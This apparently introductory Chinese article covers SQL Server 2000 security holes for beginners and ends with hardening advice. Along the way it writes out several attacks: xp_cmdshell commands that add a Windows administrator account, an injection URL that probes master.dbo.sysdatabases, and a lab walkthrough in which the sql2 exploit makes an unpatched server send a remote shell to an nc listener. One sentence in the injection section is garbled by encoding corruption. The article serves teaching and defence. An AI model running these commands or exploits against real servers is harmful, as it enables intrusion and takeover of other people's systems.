常見的SQL Server 2000的漏洞及其相關利用
單位的小王學習SQL Server已有一段時間了,已經做了個不錯的管理系統,有次小王讓我幫著看看庫的設計有沒有問題,其間我發現他的安全意識非常薄弱,這也許是初學者容易忽視的問題,本文探討一些SQL Server常見的安全問題,是給初入SQL Server的人看的,寫的肯定很絮叨,高手勿讀。本文的用的是SQL Server 2000,下文中都簡寫為SQL Server。
一、空口令或弱口令
初學者在安裝SQL Server時為了省事,SQL Server管理員sa 用的是空口令或弱口令,這樣危險性十分巨大,而這些危險往往是初學者意識不到的,小王就覺得,自己的庫是試驗資料,沒什麼用,即使別人連上庫也無所謂。殊不知SQL Server的預設使用者sa的許可權非常巨大,有種觀點是sa的許可權要大於administrator的許可權,也就是說沒有限制的sa使用者可以做Windows系統管理員所做的任何事。
下面我們做個簡單的試驗。通過SQL Server給Windows系統增加一個使用者user1,並且把該使用者增加到管理員使用者組administrators裡。
1、首先看看正常情況下在Windows系統增加該使用者的方法。
有兩種:一是在圖形介面下進行,二是在命令視窗下進行,下面演示通過命令增加使用者。
1)、在"開始"——〉"執行"處輸入cmd,回車進入到命令視窗,如圖1所示:
2)、第一行命令net user user1 /add (增加一個使用者名稱是user1的使用者)。
3)、第二行net localgroupadminisstrators user1 /add(將此使用者增加到管理員使用者組administrators中)。
4)、第三行net user(檢視目前系統的使用者,可以看到已增加了user1使用者)。
5)、第四行net user user1 /delete (刪除user1使用者),為了下面通過SQL Server 給系統增加使用者。
圖1
2、在SQL Server中增加系統使用者
1)、開啟SQL Server的"企業管理器"——〉"工具"——〉 "SQL 查詢分析器" 。如圖2,輸入要連線的SQL Server的IP地址,確定後出現圖3介面,注意連線的是master庫。
圖2
2)、如圖3所示,在查詢視窗中輸入:exec xp_cmdshell 'net user user1 /add',按 執行,如果出現圖4"命令成功完成"的提示說明執行成功。
3)、接著如圖5所示,輸入exec xp_cmdshell 'net localgroup administrators user1 /add',執行成功後出現圖5的提示說明。
圖3
圖4
圖5
上邊輸入的 net user user1 /add 和 net localgroup administrators user1 /add是不是很眼熟?它們就是我們上面用過的windows系統下的標準命令。圖6可以看出user1已增加到管理員administrators組中。
圖6
看到這明白了吧!通過功能強大的SQL Server可以做Windows系統管理員能做的事。上面通過SQL Server建立使用者的實驗是我從本機遠端連線到測試機的SQL Server,增加了使用者,圖7是用剛建立的使用者user1和遠端計算機建立的ipc連線,這時要進入這臺機器就是易如反掌的事了。接下來的的安全知識自己查查吧,網上非常多的。
圖7
3、進一步解釋
上面用的xp_cmdshell是SQL Server的擴充套件儲存過程中的一個,儲存過程就像是我們程式設計用的函式,內容是按需要編寫的一系列SQL 語句和可選控制流語句,可由應用程式通過一個呼叫執行,而且允許使用者宣告變數、有條件執行以及其它強大的程式設計功能。每個庫都可以存放儲存過程,但擴充套件儲存過程只存在master 資料庫中,對使用者來說,擴充套件儲存過程與普通儲存過程一樣,執行方法也相同。但擴充套件儲存過程能執行除了資料庫之外的許多操作,上面我們看到通過呼叫xp_cmdshell可以執行windows系統下的各種命令。
擴充套件儲存過程的功能非常強大,如圖8,它們存在master庫中的擴充套件儲存過程中。
如xp_regenumvalues、 xp_regread、 xp_regwrite 、xp_regdeletevalue、 xp_regdeletekey這些擴充套件儲存過程能對登錄檔進行讀寫操作。例如:可以通過下面命令檢視登錄檔中的啟動專案。
Exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Run'
圖8
二、注入和跨庫攻擊
注入和跨庫攻擊可能是2004年黑客攻擊中最流行的詞了,它的原理和上面講的都是獲得了SQL Server管理員sa的許可權,從而控制資料庫,還可以利用xp_cmdshell這樣的SQL Server的擴充套件儲存過程控制Windows系統。注入和空口令獲取sa許可權的方法不同,注入是ASP程式在連線SQL Server時有漏洞,黑客利用漏洞獲取了sa許可權。說到這,小王有點疑問,程式中sa連線的是自己的庫而擴充套件儲存過程在master庫中,如何利用的?簡單的說,有sa 的許可權後就能查詢出使用者建的什麼庫,庫中有哪些表,表中有什麼欄位,表的紀錄等。這些又是如何實現的呢?
要解答這個問題需要從兩個方面著手,一是新建個庫後,SQL Server起了什麼變化?二是SQL Server的許可權。
1、新建一個庫後其在系統庫和系統表的位置
例:在SQL Server新建一個庫,庫名稱為:xyz,在該庫下建一個test的表,表中欄位為id、name、password。
1)、庫在哪裡?
SQL Server安裝完畢後預設安裝了master、model、msdb、northwind、pubs、tempdb這6個庫,其中northwind、pubs是例子庫,其它都是系統資料庫,各有其用。xyz庫建好後,庫名稱存在master庫中的sysdatabases表中,如圖9所示,sysdatabases表中的 dbid欄位的值大於6的就是使用者自己建的庫。圖10中用SELECT name FROM sysdatabases where dbid>6可以查出使用者自己建的庫,剛建的xyz庫也在其中。
圖9
圖10
2)、表在哪裡?
表名稱存在xyz庫中的sysobjects表且xtype='u',如圖11,輸入SELECT *FROM sysobjects where xtype='u'可以查出表名稱是test,記住我們剛建的表test對應的id是357576312
圖11
3)、有哪些欄位?
test表中有哪些欄位呢?該表的欄位存在xyz庫中的syscolumns表中,且id等於sysobjects表中test表對應的id,也就是我們上面查出來的357576312。
如圖12,輸入SELECT * FROM syscolumns where id='357576312'可以查出test表中的欄位。
圖12
4)、總結
當有相應許可權的使用者連到SQL Server後,能通過查詢master庫中的sysdatabases表得到使用者建的資料庫名稱,接著再查詢使用者資料庫的sysobjects表查出建立的表,接著再查詢使用者資料庫的syscolumns表查出表中的欄位,進而查出紀錄。
這個例子提到有相應許可權的使用者,那使用者具有哪些許可權呢?我們接著說。
2、理解使用者、角色和許可權這幾個概念
要對這幾個概念講得很明白,需要很大的篇幅,本文只作簡要介紹。
要想訪問SQL Server必須是它的一個使用者,如果要訪問某個資料庫,必須賦予該使用者訪問此資料庫的許可權。角色就是一系列許可權的集合。使用者和角色的關係就像Windows系統中的使用者和使用者組的關係。
還是舉例說明吧!sa為什麼有那麼大的許可權?
sa是SQL Server的預設超級使用者,就像系統的administrator使用者一樣,如圖13,點選在"安全性"——〉"登入",在右欄的sa使用者下滑鼠右鍵,出現圖14的sa屬性介面選到"伺服器角色"項,可以看到sa的角色是system administrators(簡寫為sysadmin),前面提到角色就是一系列許可權的集合,點選圖14的"屬性",在圖15中可以看到該角色擁有操作SQL Server的所有許可權。如圖16可以看出sa具有所有資料庫的訪問許可權,現在明白sa為什麼有那麼大的許可權了吧。
圖13
圖14
圖15
圖16
實際做管理系統時並不需要使用者有那麼大的許可權,一般只要能訪問自己建的庫就行了。可以新建個使用者,只給此使用者有限的許可權,這樣安全係數應該高些,從這個思路出發看看如何實現。
1)、新建aaa使用者
如圖17,新建登入後出現圖18介面,輸入使用者名稱aaa,在輸入個強壯的密碼。
圖17
圖18
2)、設定許可權
如圖18,在"伺服器角色"選項中什麼也不選,如圖19,在"資料庫訪問"選項中只選"xyz"庫,也就是說只讓aaa使用者訪問xyz庫。"資料庫角色中允許"只選預設的"public"。
圖19
圖20
3)、測試
設定好後,用aaa使用者登陸"SQL 查詢分析器",如圖21,執行exec xp_cmdshell 'net user user1 /add',出現了期待的結果,沒有許可權執行。
圖21
接著執行SELECT name FROM sysdatabases where dbid>6,期待的結果是沒有許可權執行,可實際的結果和圖10的查詢結果一模一樣,aaa使用者不是沒有master庫的許可權嗎?aaa使用者除了不能訪問自己建的庫wz_cxxt_new外,其它的庫都能訪問,問題出在哪呢?
問題出在public 角色,下面這段話是SQL Server幫助中寫的。
public 角色是一個特殊的資料庫角色,每個資料庫使用者都屬於它。public 角色:
· 捕獲資料庫中使用者的所有預設許可權。
· 無法將使用者、組或角色指派給它,因為預設情況下它們即屬於該角色。
· 含在每個資料庫中,包括 master、msdb、tempdb、model 和所有使用者資料庫。
· 無法除去。
如圖22是master庫中的"public"角色,雙擊"public",在介面中單擊"許可權",出現圖23介面,可以看到該角色具有sysdatabases的訪問許可權。可以看到許可權分得非常細,有select、insert、update、delete等,如圖24,把許可權改為禁止,再執行SELECT name FROM sysdatabases時出現了"拒絕了對物件 'sysdatabases'(資料庫 'master',所有者 'dbo')的 SELECT 許可權。"的提示。
圖22
圖23
圖24
Public角色預設沒有執行擴充套件儲存過程的許可權,但可以賦予該角色執行的許可權,有訪問庫的許可權,也可以去掉。看到這,是不是覺得非常麻煩,本來許可權的設定就是個雙刃劍,設定得過於寬鬆會有安全漏洞,過於嚴格在程式執行時可能會出問題,本文無法給出一個徹底的解決方案,只要在懂得原理的基礎上,在實踐中不斷摸索才能理出一個最佳方案。
3、注入
對於SQL Server+ASP的注入,有一種是ASP連線SQL Server使用者的許可權足夠大,而ASP程式本身有漏洞,而從而構造出類似http://www.***.com/aaa.asp?id=2300 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 這樣的SQL語句,根據前文講的原理暴出庫、表及相Φ募吐肌?/p>
關於注入有許多精彩和經典的文章,還有像NBSI2那樣好用的工具,在此就不班門弄斧了。
三、SQL Server不打補丁的漏洞
小王的SQL Server是安裝在win 2000上的,沒有打補丁,沒打補丁的SQL Server就是個大漏勺,無論你的許可權設定的多麼嚴格都是一張一捅就破的爛紙。下面的例子是對有漏洞的SQL Serve(安裝在192.168.113.10這臺機器上)的攻擊,實驗中用到了兩個工具,nc和sql2,nc別名瑞士軍刀,是古老且十分強大的網路工具,如果想知道詳細用法請參考網上的相關資料,sql2是專門攻擊有漏洞的SQL Serve(sp2以下,含sp2),過程如下:
如圖25,在我的機器(IP地址為192.168.113.207)的命令視窗下(執行cmd)執行nc -l -p 77,意思是在本機開個77的埠
新建一個命令視窗,執行sql2 192.168.113.10 192.168.113.207 77 0
如果192.168.113.10上的SQL Serve有漏洞,192.168.113.207的nc監視視窗就會出現下圖26的介面,注意!這個介面可是裝有SQL Serve機器的,換句話,我們已經入侵到這臺機器了。接著看下圖27,用ipconfig 查的地址是192.168.113.10,它歸你控制了,簡單吧!
圖25
圖26
圖27
四、幾點建議
1、及時打補丁
不打補丁的危害上面已經演示了,道理就不用多說了吧!
2、最小的許可權等於對大的安全
這句話說起容易,做起難,有一個簡單易行的辦法就是用流行的漏洞掃描工具和攻擊工具檢測本系統是否安全,這樣的工具非常多,自己找吧。
3、安裝防火牆
如果只是在本機除錯系統,安裝防火牆是非常好的選擇,這樣即使有漏洞別人也無法攻擊。
4、改變埠
如果SQL Serve需要遠端訪問,埠一定是要開放的,即使安裝了防火牆,也要將SQL Serve的服務埠1433放開,針對SQL Serve的攻擊工具主要掃描的是1433埠,可以改變預設埠,這樣雖然不能從根本上解決問題,但可以對付一般的掃描,改變埠最簡單的辦法是在開啟"開始"——〉"所有程式"——〉"Microsoft SQL Serve" ——〉"伺服器網路實用工具",在介面中選中"TCP/IP",點選"屬性",把1433改為不超過65535的一個數,重啟SQL Serve服務,這樣預設埠就改了,注意這時你遠端連線SQL Serve時IP地址後要加改過的埠號。
5、刪除不需要的擴充套件儲存過程
如果你的系統中確實不需要這些擴充套件儲存過程可以刪除。
刪除儲存過程的命令是:EXEC sp_dropextendedproc ‘儲存過程的名稱'
例如要刪除xp_cmdshell,執行EXEC sp_dropextendedproc ‘xp_cmdshell',每個擴充套件儲存過程實際上用的是相應的dll檔案,如果想徹底讓該儲存過程不起作用,還要將dll檔案也刪除。這些檔案一般存在Program Files/Microsoft SQL Server/MSSQL/Binn下,如圖28,xp_cmdshell的dll檔案是xplog70.dll
要恢復該儲存過程,命令是:
EXEC sp_addextendedproc儲存過程的名稱 ,@dllname ='儲存過程的dll'
例如:恢復儲存過程xp_cmdshell
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll',注意,恢復時如果xplog70.dll已刪除需要copy一個。